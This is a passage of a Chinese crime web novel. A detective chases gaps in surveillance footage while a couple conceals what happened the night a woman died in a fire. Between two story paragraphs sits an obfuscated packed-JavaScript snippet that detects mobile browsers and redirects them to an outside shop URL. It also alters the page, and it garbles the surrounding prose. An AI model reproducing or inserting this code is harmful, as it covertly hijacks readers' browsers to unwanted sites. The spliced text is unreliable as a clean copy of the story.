严疏本可扫码,但为了拖延时间,故意取出钱包慢条斯理地数钞票:“那天来报案,是你自己的主意?” 简宁眉梢微蹙:"这很重要吗?麻烦快些,后面顾客在等。" 他反而放慢动作,摆出得不到答案不罢休的姿态:“随便聊聊嘛。” 瞥了眼严疏身后愈长的队伍,她只得压低声音道:“迟昼不认识他。是我发现的。” 严疏点点头,这才将数好的钞票递过:“点点。” 简宁仿佛被他烦的不行,眉头没松开,动作也有了那么两秒的迟钝,然后才接过,指腹用力将每张纸币捻平,带着不易察觉的滞涩。 严疏也知道这么耗着不妥,便对身后排队者歉然一笑,退到等候区时暗想,这杯冤孽咖啡真是贵得毫无价值,光问了个没什么用的莫名问题,真是糊涂了。 等咖啡的时候他四下看了看,目光落在前台一块带着客服电话的牌子上,想着以后或许有用,便掏出手机拍了张照。 待他离去,简宁又处理了几单,等原岗店员返回后才抽身离开。她走进员工洗手间,挤了满掌的洗手液反复搓揉两遍,又转至休息室从包里取出湿巾细细擦拭,最后拿出一支相宜本草的护手霜仔细抹上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352898|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 抬头望向镜中,她烦躁地抓了抓日益蓬松的短发,重新用发夹紧紧别住。 或许该留长了。她发量多,发质也硬,从来就不适合蜷曲的短发。 她在休息室垂眸静坐了许久,指尖无意识地摩挲着手机边缘,最终拨通了迟昼的电话:“晚上能准时下班吗?” 电话那头传来工具敲打的背景音,他的声音却依旧清晰:“应该可以。怎么了?” “没什么。”她的声音轻柔下来,“晚上我们出去吃吧?” “都行。”迟昼应得干脆,“这边正忙,晚点联系。你想吃什么直接发给我,我听你的。” 挂断电话,她的唇角不自觉地扬起。那点莫名的烦躁,终于在这短暂的通话中消散。 她喜欢听迟昼说“我听你的”。这简单的四个字,对她而言,远不止顺从或爱意。在这崭新却暗流涌动的生活图景里,这个人,是她心底仅剩的锚点。 是她的镜,是她的尺,是她在这个真假难辨的世界里,虚无缥缈又不可或缺的重力。 ———————————— 直到晚上八点多,两人才在餐厅落座。先前收到简宁发来的定位时,迟昼尚未察觉异样,直到走近了才恍然惊觉——这里与那晚出事的酒吧仅一街之隔。 那夜的每个细节他都记得分明,唯独想不通几小时后的那场大火是如何燃起。他下意识望向酒吧方向,视线虽被围墙阻断,心神却已飘远。这般恍惚的状态一直持续到入座后,直到对面传来两声清脆的叩击:“喂!” 迟昼猛然回神:“怎么了?” “问你吃不吃牛排。” “都行。”他习惯性地应着。 简宁深深看他一眼,不再多问,独自完成了点餐。 这家网红西餐厅装修精致,价格不菲。两人坐在落地窗边,昏黄的灯光在彼此之间投下暖昧的影,衬得他们和其他来约会的情侣仿佛并无区别。 前菜是份寡淡的沙拉,吃得迟昼直皱眉。忙碌整日后,他渴望的是热气腾腾的汤面或饭菜,而非现在这样,像只兔子一样嚼草。 “您的牛排。”服务生终于端来一个硕大的餐盘,“是哪位的?” “放他那边。”简宁示意。 锃亮的银质餐罩在迟昼面前揭开。他正饿得发慌,伸手拿起刀叉,服务生却掏出了点火器——“呼”的一声,蓝色火焰从牛排表面窜起,飘忽游弋,跃动如鬼魅。 那一瞬间,火光中浮现出太多画面:在烈焰中扭曲哀嚎的人影、焦黑的躯体、染血的利刃...... “当啷”一声,刀叉从他指间滑落。 心跳如擂鼓,火焰仿佛抽干了周遭的氧气,四肢百骸泛起酸麻的虚脱感。 酒精作用下的火焰很快熄灭,那些散落在时光深处的可怖画面也随之隐去。取而代之的,是餐桌对面那张笑靥如花的面容。 迟昼缓过神,瞥见服务生离去时憋笑的嘴角,听见邻座传来善意的低笑。 “反应这么大?”简宁笑得眉眼弯弯。 “没事......就是有些没想到。”他讪讪地低声解释,脸上发烫,心底却仍残留着火焰带来的惊悸。像是要掩盖什么,他逃避般低下头,用力切起牛排。 肉块送入口中,味蕾瞬间被唤醒。火焰嫩牛排——这道招牌菜确实名不虚传。 曾几何时,这般生活对他而言如同天方夜谭。因为亲生母亲的原因,父亲对他本就不喜,弟弟出生后,他更成了家中若有若无的影子,虽不曾缺衣少食,却也仅止于此。他像株野草般在镇上默默生长,听着大人们描绘都市的繁华,有时也会在心中偷偷勾勒未来——窗明几净的餐厅,崭新的汽车,还有那散发着希望光芒的、值得奔赴的人生。 读书时,他不止一次地幻想:和心爱的姑娘坐在落地窗前,共享一份晚餐,开着属于他们的车穿过霓虹流转的街道,彻底洗去一身的市井土气,真正融入一座流光溢彩的不夜城。 那是他贫瘠青春里,最隐秘、最奢侈的梦。 而今,除了房子仍是租的,梦中的一切......似乎都已成真。 可是,代价呢? 拿薯条时指尖无意触到了对方的手,他下意识地缩回。她却毫不在意,反而拈起一根薯条,笑盈盈地递到他唇边。 迟昼勉强牵起嘴角,张口接过。两人的剪影投在落地窗上,从街角望去,缠绵如画,宛若璧人,像是都市爱情电影中动人的一帧。 “哎,问个事儿。”简宁满意地收回手指,拿起湿巾慢条斯理地擦拭着,语气轻描淡写,“之前找的那个代驾,是你熟人?” 话说得含糊,迟昼却瞬间明白了那个“之前”指向何时—— 她葬身火海的那个夜晚。 他也恍然醒悟,为何她偏要选在这与酒吧一墙之隔的餐厅。迟昼不禁哑然——这女人......还是这么讲究仪式感。 “不算熟,只是认识,偶尔照顾他生意。”他如实相告。 简宁若有所思地抿了抿唇,半晌后掀起眼帘:“改天......约他来家里吃个饭吧。” “干什么?”迟昼勉强扯出个笑,向后靠进椅背,仿佛需要这点支撑,“都说了不熟,太突兀了吧。” “找他聊聊而已。我那晚晕乎乎的,很多细节记不清了。”她语调自然,带着恰到好处的困惑。 迟昼知道躲不过了。沉默如潮水漫上了餐桌,许久,他才略带沉重地问:“如果......他记得很清楚呢?” 简宁没有回答。她慢条斯理地吃完最后一根薯条,仔细擦净手指,学着他的样子缓缓靠向椅背。拾眼望来时,唇角依然挂着那熟悉的弧度。 两人隔着精致的餐具与鲜花对望。浪漫的光影里、旖旎的氛围中,暗流无声奔涌。 “我去找他。”最终,迟昼哑声打破寂静,带着请求与妥协:“这件事,我来处理。” 她的笑容丝毫未变,仿佛早已料到这个答案:“好。我想要什么,你清楚的。” 迟昼垂首,算是默许与纵容。片刻后,他又抬起眼,低声说:“我......也有想要的。” 她的笑容淡了几分,没有接话,低头小口喝着南瓜粥。 迟昼自顾自地说了下去:“我想知道,那天晚上究竟发生了什么。” 有那么一瞬间,他以为她会开口——在她眼中,迟昼捕捉到了一丝游移。 她停下动作,长久的静默后,缓缓端起酒杯轻啜一口。放下杯子,她才终于抬眼,给出的却不是答案,而是一句轻柔的反问: “阿昼,你其实知道的,不是吗?” 迟昼默然,指节因用力而微微发白。 他当然知道。从打开房门的那一刻,就心知肚明。 他曾做出承诺,也始终在践行。 在一片令人窒息的凝滞中,女人倾身向前,目光直直探入迟昼眼底,声音微哑,再次重复: “都过去了。你看,我......回来了。” 17. 拾柒 盯着监控屏幕看了一整天,严疏觉得太阳穴突突直跳。好不容易说服赵队帮忙协调,交通部门还专门派了名同事“陪同”——明面上是协助,实则是监督,生怕他越界。 他将8日晚10点到9日凌晨2点,以酒吧、悦澜湾公寓和简宁原住址为支点的所有道路监控全部调出,配合城市天网系统,开始逐一筛查。 楚谕车辆的行驶轨迹整体清晰,在镜头中三次出现均符合预期路线,未见偏离。但关于那关键的半小时空白,范围进一步缩小了——从裕丰路探头到迎宾路探头之间,按正常车速只需十分钟,实际却用了半个多小时。 那消失的二十多分钟,就丢在了这段路上。 同来的交警对路况很熟,指着地图解释:“这两条主路之间就这儿可走,绕远就全是重叠的冤枉路了,跟兜圈子没区别。” 锁定空白时段的具体范围后,严疏便退回起点,配合地图逐帧比对。 画面中,楚谕的车缓缓驶入裕丰路,车牌在放大后清晰可辨。但由于始终靠右行驶,转弯时又被路旁停放的车辆遮挡,因此始终未能捕捉到驾驶室正面。车辆右转后消失,等再次出现在迎宾路的探头下时,那段空白已然发生,期间却再无任何监控记录。 “她从这里右转,要上迎宾路,必须在这里再右转一次。”严疏指向下一个十字路口,“这个路口没有设备吗?” “每个路口都有探头。”同事摇头,“可能是夜间车少,转弯的时候贴人行道太近,进了盲区。” 很多新手在开夜路的时候确实会有这个问题。严疏沉吟片刻,又问:“还有其他路径吗?” 同事见他追问得紧,便坐下仔细研究实景地图,最后耸耸肩:“要上迎宾路,只能右转。总不能碾着绿化带过去吧......”说着他忽然顿住,像是想到了什么,立刻补充:“你别说,地上过不去,倒可以从地下钻。” 他低头研究裕丰路周边的写字楼,最后指尖落在一栋建筑上:“银枫广场,下面是开放式地库,员工和周围居民都可以停,估计是24小时开放的。从西口进,穿过地库,东口出来再直行,就是迎宾路——也就避开了那个路口。” 他抬头看向严疏,眼中带着疑问:“你觉得......她在躲监控?” 严疏目光仍锁定在屏幕上,摇了摇头:“现在还不好说。不过多谢了,已经帮大忙了。” 他嘴上说得保守,指尖却因兴奋而微微发烫。他迅速在笔记本上记下关键词:银枫广场、地库、空白时段。直觉在血管里低鸣——他已经触到了真相的边缘。 先前他已经对简宁搭乘的顺风车进行了调查,并未发现异常。沿订单路线调取的监控中,那辆车出现过两次:第一次距上车点不远,后座隐约有个女性轮廓,虽然面容难辨,但看着很熟悉;第二次驶入了无灯的小巷,画面模糊成一团光影,什么也看不清。考虑到8号当晚主路一侧封路修整,车辆均需绕行小巷,后续未能捕捉到清晰影像也属合理。 从现有的线索看,简宁的行程链条基本完整,没什么问题。 那接下来的目标就无比清晰了——银枫广场的地库。 “今天辛苦了,快回吧。改天路过请你吃饭。”将交警同事送至门口,严疏递过一支烟,生硬地客套着。即便再不通交际,他也明白这份配合是看在赵队面上。 对方倒是爽快,接过烟,笑问:“没事,应该的。不过这到底什么案子啊,这么较真?” 严疏不擅周旋,只得搬出万能托词:“还在侦办阶段,细节不便透露,你懂的。” 这话果然有用。对方听后会意地点头:“理解理解,纪律要紧嘛。先走了啊。” 送走同事,严疏取回车钥匙,与值班人员简单交代后便离开了交警队。 夜色已深,他却没有回家,而是再次驶上裕丰路。循着楚谕当晚的行车轨迹缓缓前行,只见两侧高楼林立,霓虹流光溢彩,近乎泛滥的光晕笼罩着街道。若只是正常驾驶其实并无妨碍,但如果要留意两侧,视线便极易受到干扰——而位于银枫广场侧面的那个地库入口,恰好隐没于这片灯影之中。 若非刻意寻找停车场,这个入口,可以说很难被注意到。 这绝非临时起意能发现的路径,严疏笃定地想。 明天,必须会一会地库的负责人了。 ********* 几天前,在严疏还在焦急等待赵队协调监控权限时,迟昼拨通了一个电话。 “哥,我没惹什么事吧?” 代驾小何是个二十四岁的小伙子,个子不高,身材精瘦,黝黑的皮肤让他混入人海便再难辨认。他是个实在人,早早在家乡成了亲,已经有个三岁多的女儿。妻子身体欠佳,便带着孩子留在老家,他独自来城里打拼。白天在餐厅做服务生,几乎要干十二小时,每周休息一天;下班后便辗转于酒吧街附近,揽些代驾的活儿——他少年时就在老家开着二手面包车拉货,驾驶技术没得说。因不愿花几千块买平台要求的折叠电动车,更不想被抽成,他就选择了单干,印了些名片四处散发——给顾客,也给餐馆、汽修店、烟酒店,碰碰运气。 迟昼就是偶然接到名片的。有几次同事聚餐需要代驾,他想起这张名片,便介绍了小何。一来二去,便也算相识。 这次被突然约出来,小何还以为对方是想要点介绍费。他是个明白人,上车后便主动说要请迟昼好好吃一顿,却没想到对方婉拒了,只要求他重走一遍那夜的路线。 起初小何只是好奇,但见副驾上的迟昼问得事无巨细,且神色凝重,令他也不由得紧张起来。 况且那晚的代驾经历本就透着古怪,当时他就隐隐不安,此刻更像是把那份无措从心底重新挖了出来,一时间慌上加慌。 “别紧张,没事。”迟昼边安抚他,边不动声色地观察着路况,发现这一路穿行的尽是些没有红绿灯的单行道,至多也就路口有几个交通探头,“就按那晚的路线走就行......等等,你当时也是在这里转的弯?” “是啊,”小何边打方向盘边说,“有个姐姐提前跟我说的路。开的时候我反应慢了半拍,还差点开过。” 他拐到广场侧面,指了指面前的写字楼,迟昼这才注意到那个极不显眼的地库入口。小何在地库前稍远处停下车:“哥,还要进去吗?那天就是从这儿下去的。” 迟昼心跳骤然加快,正要开口让小何开进去,却撇眼间看到了那个全自动停车杆,当即变了主意:“不用了,你随便开吧。跟我说说进停车场之后的事就行。” 小何一边将车倒回主路,一边回忆道:“我就听那位姐姐的,把车开到地下二层等她。大概等了二十多分钟吧,她来了,付了钱,我就走了。” 车子在夜色中缓缓行驶,窗外灯火流转。迟昼用余光观察着小何——这个被生活打磨却依然眼含希望的年轻人,却不过是命运洪流中微不足道的一滴水珠,不知何时、何故,就会被意外卷入深不可测的漩涡。 他深吸一口气,继续追问:“你是说,她中途离开,让你独自开到地库等她?” “对啊,不然找我干嘛?”小何理所当然地点头,“那姐姐没喝酒,在车上处理了一会儿工作,然后说临时有急事要见个人,但车上还有喝醉的朋友不方便带着,就让我先开过去等着。” 听到这里,迟昼猛然意识到当晚的真相好像与他所知的大相径庭:“朋友?当时车上有几个人?” 察觉到小何疑惑的目光,迟昼意识到自己追问得太急,连忙搬出准备好的说辞,故作尴尬地压低声音:“不瞒你说,我怀疑女朋友有事瞒着我。那天她突然让我找代驾,说的理由我不太信......所以才来找你打听实情。” “噢噢——”小何恍然大悟,顿时轻松起来,话也顺畅了许多:“哥你早说啊!你放心,那晚我没见着什么男的,就三个女的。我到的时候司机是个短头发的,天黑看不清脸,但轮廓挺秀气。后座还躺着俩姐,都醉得不轻,拿个大的离谱的玩偶当被子盖。”说着他好奇地追问:“对了哥,哪个是你女朋友啊?” 此刻的迟昼已经无暇回应他了,所有思绪都在用于重构当晚的画面。 他记得清清楚楚,楚谕当时说的是—— 找个可靠的代驾,开宋晴的车,送她回学校。 现在他才惊觉,小何那晚开的根本不是宋晴的车,而是楚谕的。而且当时......楚谕、简宁、宋晴,三个人都在车上。 可司机怎么会是短发?那时的楚谕明明是长发,简宁根本没有驾照,而宋晴......他知道不可能。 迟昼一时想不明白其中关窍,也没听清小何刚才的问话,只得含糊其辞:“你知道的,她们这些姐妹之间,常常互相打掩护......” 小何了然地点点头:“害,城里姑娘的心思,咱可猜不透。”他摇摇头,语气里带着朴素的认知:“人家逛次街,我大半个月工资估计就没了。还是我家那口子好,我们是发小,一起长大的,知根知底嘛。” “发小”二字像根细针,轻轻扎进了迟昼心口。他几不可闻地叹了口气:“你......了解她吗?” “那有啥不了解的?”小何笑出声,乡音不自觉地溜了出来,“俺连她小时候尿几次炕都知道哩。” 这质朴的回答暂时驱散了迟昼心头的阴霾,让他也不禁莞尔。能这样简单地活着,相信自己亲眼所见的一切,何尝不是一种幸福。 “哥,你也别太往心里去,有啥事直接问嫂子呗,说不定就是个误会呢。”小何反倒安慰起他来,“那天我把她们送到地方就走了,后面发生了什么真不知道。不过我等的那会儿,满打满算也就半个钟头,能出啥事啊。” 话题回到那天夜里,迟昼的心又沉了下去:“但愿如此吧......” 车子缓缓绕回他们见面的地方,迟昼示意小何靠边停车,随后像是闲聊般问道:“以后有什么打算?总不能一直和妻女分居两地吧,孩子也需要父亲的。” 提到这个,小何的神色黯淡下来:“就是不想让她们跟着我吃苦,才让她娘俩回老家的。我现在住的那地方,说实话,跟狗窝没啥两样。”他叹了口气,吐苦水一样:“我们老家的地不行,种庄稼没收成,主要靠养鱼苗。我想着在外面再苦几年,攒够钱回去包个鱼塘,不求发财,够一家人过日子就行。” 迟昼点点头:“攒得怎么样了?” “还差得远呐......”小何重重叹气,“城里赚的是比老家多,可花销也大。我老婆之前就劝我回去,可回去了能干个啥?我想让闺女以后也能读个好学校......” 迟昼静静听着,适时开了口:“说起来,我最近手头有些闲钱,可以先借你起步。你拿着钱回去好好经营鱼塘,以后分期还我,怎么样?” 小何愣住了,眼中瞬间迸发出惊喜的光芒,但很快又清醒过来,连连摆手:“不行不行,谁赚钱都不容易。万一搞砸了,到时候还不上......” 迟昼早有准备,继续劝说:“不试试怎么知道?不过先说好啊,我也不是白借,你得给我按银行利息算。这样我能有点收益,还比存银行灵活。你也不用着急,要是偶尔周转不开,晚两个月还也行,只要照付利息就成。咱们各行方便,不是挺好?” 这番不算高明却很是实在的说辞,显然打动了小何。迟昼看得出来,他是真心动了。 毕竟这个年纪的人,还相信只要足够努力,上天就会眷顾自己。那一刻,迟昼真心觉得,无论初衷如何,若能帮的到他,总也算件好事。 就当是在替谁还债吧。即便他心知肚明——有些债,永远也还不清。 迟昼已经不再是曾经那个单纯的自己了。现在的他比谁都清楚,自以为是的善意未必就能指引他人走向光明。 有的时候,会适得其反。 ********* 第二天清晨,严疏早早便赶到银枫广场。地库入口无人值守,全自动道闸却将他拦在了外面。这说明楚谕的车此前已录入了系统——可她并不在此工作。 他鸣笛数声无果,只得下车寻找联络方式。一通电话表明身份后,保安很快赶来,看过了证件便放行,并将他引至管理室。 听闻来意,对方相当配合,详细介绍了停车场情况:这里三层共计六百余车位,因楼上公司未满租,因此夜间大量空置。为创收,物业便面向周边小区开放了夜间包月服务,非楼内员工亦可购买月卡自由进出。 “所有进出都有记录吧?”严疏问。 “全自动存储,保存周期很长。” 严疏深吸一口气,按住开始加速的心跳:“麻烦调取今年7月8日夜间的记录。” 进出记录很快呈现。严疏迫不及待地接过鼠标向下滚动,果然很快找到了楚谕的车牌,入场时间完全吻合。 点开入库时的车头抓拍视频,画面刚加载,严疏便猛地按下了暂停—— 尽管光线昏暗,尽管只能看到前排,但他已看的足够清晰。 驾驶座上的,并非楚谕,而是一个陌生男人。 眼皮剧烈跳了两下,严疏只感周遭瞬间寂静,只有血液奔涌的轰鸣在耳中回响。 “调出这个车牌的所有记录!全部都要!”他指着屏幕,声音因激动而变调。 保安队长一时分不清他是愤怒还是狂喜,但还是依言照做。 查询结果显示:该车辆前年在此停放过半年,之后长期无记录,直到今年五月才再次出现,但截至目前,仅来过三次。 看着这条时间线,严疏蹙眉沉思——这辆车或许曾是宋家的,暂时用不到便搁在这里吃灰,后来被转给了楚谕。这虽是推测,但也不难证实,给宋朗打个电话即可。 前路豁然开朗。严疏感觉自己像个摸到了绝佳手牌的赌徒,正一步步逼近赌局的终章。 他迅速用手机拍下监控截图,随即要求调取其他摄像头,追踪车辆进入后的轨迹。然而停车场内墙体曲折、立柱林立,加之停放车辆众多,监控盲区比比皆是,只能勉强捕捉到车辆断断续续的行进片段。接连切了几个探头,发现那辆车入库后并未停留,径直驶向了下一层。 “继续调B2的监控。”严疏盯着屏幕催促,却迟迟不见对方回应。他抬头,对上对方尴尬的神色,心头蓦地一沉。 果然,对方支支吾吾地开口:“警官,那个......负二层的监控......是坏的。” 即便已有预感,严疏还是难掩失望,脸色肉眼可见地垮了下来:“你看都没看,怎么就确定当时是坏的?” 保安队长嘴角抽搐了一下:“呃......现在也还坏着。” “坏了快半年都不修?!”严疏的火气直往上涌,却无计可施,只能口头施压:“故意不开监控,是可以处罚的!” 这话带着明显的情绪,保安听了也有些不快:“我们值班的说了不算啊。设备老旧,总出故障,人也懒得来修。之前听说要更新,但物业和运营方一直在扯皮,我们能咋办?” 严疏知道再纠缠也是徒劳。“监控坏了”堪称现代办案最令人头疼的托词之一,而此刻他连追究的立场都没有——目前尚未正式立案,若对方反手一个投诉,反倒会阻碍调查。 他压下怒火,挤出一丝笑容,递了根烟缓和气氛,这才离开了管理室。 好在也并非全无收获。至少那张入口抓拍可以证实,当晚楚谕的车上另有其人。 严疏回到车里,亲自沿着监控中的路线开了一遍——从西口下到B2,再从东口驶出,果然直通迎宾路。不仅是条近道,还能完美避开路口的监控。 但他并不认为对方选择地库是为了躲监控。普通人在不违章的情况下,很难精准掌握路面监控的分布,况且夜间路口空旷,像交警所说那样贴着路边转弯就能进入盲区。反观停车场,收费系统、内部监控一应俱全,暴露风险反而更高。 至于抄近道?更不可能。那个隐蔽的入口本就不易发现,绕行地库实在多此一举。 严疏缓缓转动方向盘,思路逐渐清晰。 既然不为躲监控,也不是图省时,那么驶入地库这个举动本身,必然存在着一个不可替代的理由。而从车辆直奔B2的表现来看......策划者很可能早就知道——那里的监控是坏的。 回程途中,严疏想起那条两年前的停车记录,便摸出手机准备打给宋朗。指尖滑到通讯录“宋”字开头,却瞥见了下方宋晴的名字。 想起自己还没确认过宋晴的行动轨迹,便决定干脆再去见她一面,反正车的事情她应该也知道,说不定还能有什么其他收获。他正要掉头前往学校,那股想要立刻查明照片中神秘司机的冲动却又占了上风。纠结之下,最后还是方向盘一转,先回了警局。 面部识别系统的结果却令人失望——此人没有任何案底,不在通缉名录,也并非失踪人口,在公安系统里干净得像一张白纸。 严疏重重坐进椅子。在这座千万人口的城市里寻找一个身份清白、没有前科的普通人,无异于大海捞针。 他凝视着手机屏幕上那张模糊的面孔,开始梳理思路。 首要方向,自然是排查楚谕的社交圈。当时副驾驶空着,楚谕可能在后座,但无论如何,一个女子深夜绝无可能让陌生男人开自己的车。可楚谕的人际关系他早已反复梳理,确定自己从未见过这张面孔。 其次,或许是车辆突发故障,临时找来懂行的朋友来检修,顺势开进地库查看。但若如此,这个人怎么可能不是迟昼?看来检修的推测也站不住脚。 剩下的可能性......他思路卡顿片刻,才想起那个职业的名称——代驾。 这倒说得通。但据简宁所述,她在楚谕车上醒来后两人曾交谈片刻,并未提及有第三者在场。如果楚谕喝了酒,车子又是如何从酒吧移动到简宁下车地点的? 她只顾着想该如何与简宁交涉,导致一时忘了酒驾这回事,与简宁谈完后才想起叫代驾继续后续行程? 虽有可能,但总觉得牵强。 思索间口干舌燥,严疏便起身去茶水间,恰好碰见新来的年轻同事李涵。对方不知他往日风评,只记得他前不久刚受表彰,因此 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挂了电话,他长舒一口气。正要倒水,手机再次亮起——简宁发来消息,说今天总部来人查账,她要留守接待,大概十点多才能下班。短信言简意赅,但迟昼心领神会。他冲了个澡,换了身干净衣服,驱车前往那家咖啡店去接她下班。 到得稍早,店里的事显然还没结束。他熄火后降下车窗,透过玻璃望进去——几个西装革履、会计模样的人正围着柜台前的电脑交谈,而简宁身处其中游刃有余,显然对这类财务工作早已驾轻就熟。 迟昼静静看着,思绪放空。 约莫一刻钟后,几人相继离店。简宁不见丝毫倦意,看到他后笑盈盈地挥手,还周到地询问同事是否需要搭车。寒暄好一阵,她才拉开副驾车门坐进来。 迟昼全程配合地保持着微笑。他知道她喜欢这样——这种稀松平常的场景,是她梦寐以求的图景。 “辛苦你啦,这么晚还来接我。”她一上车就放倒座椅,“等我抽空去考个驾照。” 握着方向盘的手紧了紧。他发动车子,轻声说:“那件事,处理好了。” 简宁半躺在座椅里眯了眯眼,片刻后才会意:“噢,那个代驾啊。花钱了?” 迟昼知道瞒不过,也没想瞒:“也不算。能收回来。” 她轻笑:“哎,不值得。” 路口黄灯闪烁,迟昼猛地踩下刹车。车身剧烈顿挫,她却安然躺着,几乎没受半点影响。他侧头看向身边人,质问般开口:“在你眼里,我值多少?” “你当然不一样。”她伸出一根食指,轻轻蹭了蹭他的侧脸,笑容温柔,“你是特别珍贵的,所以我才要你陪在身边呀。” 迟昼没有躲闪,只是硬邦邦地回道:“你说反了吧。是因为我能陪在你身边,所以才珍贵,不是吗。” 车厢陷入沉寂。 迟昼只觉胸口发闷。或许是小何那双发亮的眼睛,让她那句轻飘飘的“不值得”显得格外刺耳。 但是......谁又不曾奋力挣扎过?可总有人在泥潭中挣扎沉浮之时,到最后也等不到援手。 如若吻之以痛,何必报之以歌。这逻辑......他忽然觉得,似乎也不是不能理解。 思绪纷乱间,一句话脱口而出:“那如果......我要离开呢?” 简宁的神情依旧柔和,闻言却眸光流转,静静地注视他许久,才转回头躺进座椅。她的声音轻得像羽毛,玩笑般漫不经心:“那我就和你一起离开。” 看着她的侧影,迟昼渐渐明白,这两个“离开”......指向的是截然不同的终点。 他无声地叹了口气,心下却并未感到恐惧,反而有种尘埃落定的真实感。此时绿灯亮起,他挂挡起步,转换了话题:“你和她谈话的时候,代驾还没到?” 简宁侧过头,眼神微妙:“都到这个地步了,还要玩这文字游戏?” 迟昼不接招,语气平淡,像是疑惑,又像提醒:“既然要叫代驾,没理由自己先开一段。” 听到这话,简宁缓缓调直座椅,神色变得若有所思。片刻后,她才像终于下定决心般开了口,声音却很是轻快:“实话实说吧......其实我根本没晕过去。从头到尾,我都清醒得很。” 看着迟昼骤然绷紧的肩线,她唇角微扬:“我不但知道她叫了代驾,还知道那位宝贝小姑子虽然不是故意电我,但你却是故意把我交给她的。除此之外,我清楚你的打算,更知道......” 她倾身贴近迟昼耳畔,温热的吐息带着微哑的震颤:“......她是怎么死的。” 迟昼没有回应,只是油门越踩越深。速度在空旷的街道上疯狂攀升,引擎的咆哮撕破夜的寂静。车身几乎要飘起来,简宁却重新放倒座椅,悠闲地半躺其间,仿佛听不见这失控的轰鸣。 车子在小区侧门猛地刹停。迟昼扯开安全带,如同被本能驱使的困兽,转身将简宁死死按在座椅上。他扣住她纤细的脖颈,双手因用力而剧烈颤抖。 简宁竟毫不挣扎,任由窒息感将面容染成绯红。可那沙哑的声音却带着笑意破喉而出:“阿昼,你下不了手的。” 迟昼粗重地喘息着,指节在收紧与松脱间徘徊。血液奔涌的轰鸣充斥着耳膜,下一刻会是彻底失控还是仓皇退却,连他自己也无从知晓。仿佛......一念天堂,一念地狱。 这种感觉......该死的熟悉。 血色漫上她原本白皙的面颊,可那抹诡异的微笑始终凝在唇角。望着这张脸,迟昼恍惚间好像看见了另一张面容——一个憔悴、沧桑、癫狂的女人。 两张脸其实并不相像,却似乎戴着如出一辙的面具。 昔日的阴影,终究未曾放过他。 一念之差也好、注定如此也罢,他颓然卸力,瘫坐回驾驶座,双臂无力地垂落。 副驾上的人剧烈咳嗽着,缓过气后却忽然伸出双臂勾住他的脖颈,借力翻身过来跨坐到他身上,双膝跪压在驾驶座两侧。她捧起迟昼苍白的脸,嘶哑的嗓音里带着胜利的愉悦:“看,你舍不得。我们,是分不开的。” 爱意、愧疚、悔恨、茫然......无数情感齐齐涌上,仿佛要将他的灵魂生生撕裂。迟昼望着身上的女人,只感觉自己本人,都已经无法理解自己了。 在他失神之际,她俯身压下,精准攫取了他的唇。 万千情绪奔涌而来,冲上眼眶,化作湿润。他紧闭双眼,在两道泪痕滑落之时忽然发狠地迎了上去,报复般撕咬着那微凉的唇。 她不闪不避,宛若不觉。鲜血在唇齿之间弥漫交融,如红梅落雪,滴滴坠落。 断断续续的喇叭声在夜色中孤独回响。 情热蒸腾,渐渐烘干了泪痕,仿佛它从未存在。 深陷欲望的浪潮,迟昼内心却并不抵抗,只觉得灵魂与□□,都在背叛自己。 可这所谓的“自己”,不正是灵与肉的结合?既然构成“自我”的二者皆已沦陷,又何来“背叛”可言? 所以......那个正在深处感到刺痛、发出无声呐喊的,究竟是什么? 理智被彻底包裹的刹那,一个答案如昙花乍现,却又刹那凋零。 良知。 ———————————— 门轴在黑暗中发出腐朽的呻吟,如同垂死者的叹息。 一个女人站在门内。她还年轻,但沟壑却已爬满脸庞,每道皱纹里都填满了癫狂,青紫的脖颈上胡乱缠着一条项链,链坠歪斜地卡在锁骨间,钢链之下皮肉外翻。她逼近,越来越近,浑浊的眼珠被蛛网般的血丝缠绕,死死圆睁——不眨不动,执拗地凝固在某个点上。干裂的双唇一开一合,分不清是诅咒,还是无声的哀嚎。 迟昼看着她,浑身颤抖。 忽然,女人像断了线的木偶,缓缓瘫软下去。在她倒下的身影后,显露出另一个人。 一张沉静秀美的脸——丹凤眼清冷柔和,微卷的长发垂落肩头。可脖颈下的身体,却仍是少女时的模样,纤细、单薄,套着身与那成熟脸庞格格不入的红白校服。 即便这般荒诞的错位,他还是一眼就认了出来。 楚谕的面容,邹遇的身躯。 她垂眸凝视某处,面上不见惊惶、没有笑意,唯有一丝若有若无的悲戚,如雾霭掠过湖面。迟昼顺着她的目光,缓缓低头—— 满手......黏腻的猩红。 ———————————— “呼——” 迟昼从床上惊坐而起,胸腔剧烈起伏。他慌乱地抓过手机,屏幕冷光刺眼——原来并未过去多久。 身侧的女人仍在沉睡,一只胳臂搭在他腰间。月光为那截肢体镀上了苍白的光影,在夜色之中,像条美丽而致命的蛇。 他轻轻移开那条手臂,跌撞下床,冲进客厅拉开冰箱,随手抓出一瓶冰饮仰头灌下。刺骨的寒意从喉间炸开,冻得他阵阵战栗,却仍驱不散那扼住咽喉的窒息感。 脚步声自身后响起。 迟昼缓缓抬头看去。 她慵懒地倚在卧室门框上,睡眼惺忪,唇边漾着温柔的弧度。 这张脸,正与噩梦中那错位的影像,缓缓重合。 18. 拾捌 严疏刚喝了两口水准备出门去宋晴的学校,迎面却撞见赵队陪着市里的刘局走来。赵队一见他往外走就心领神会,急忙摆手拦住:“通知全员,十分钟后开会。” 刘局亲自到场必有要事,严疏只得暂缓自己的计划。 会议内容果然紧急——缉毒队盯了多时的贩毒团伙露了头,疑似整体行动。目标已处于监控之下,外围布控完成,但团伙藏匿在周边的小县城里,无论武装押解还是长途追捕,都需要抽调刑警增援。 案情重大,众人纷纷请缨。严疏本以为自己年龄不占优势,这种需要体力的任务轮不到他,谁知刘局口中突然跳出了“河溪镇”三个字。 他脸上闪过的讶异被赵队捕捉到了:“对了老严,你老家是不是在那一带?” “我老家在邻镇,但最初是在河溪派出所任职。” “我就说听着耳熟!”赵队一拍桌子,“那你跟着去,地形熟,正好帮忙。” “是。”严疏知道什么是重要的,当即领命。 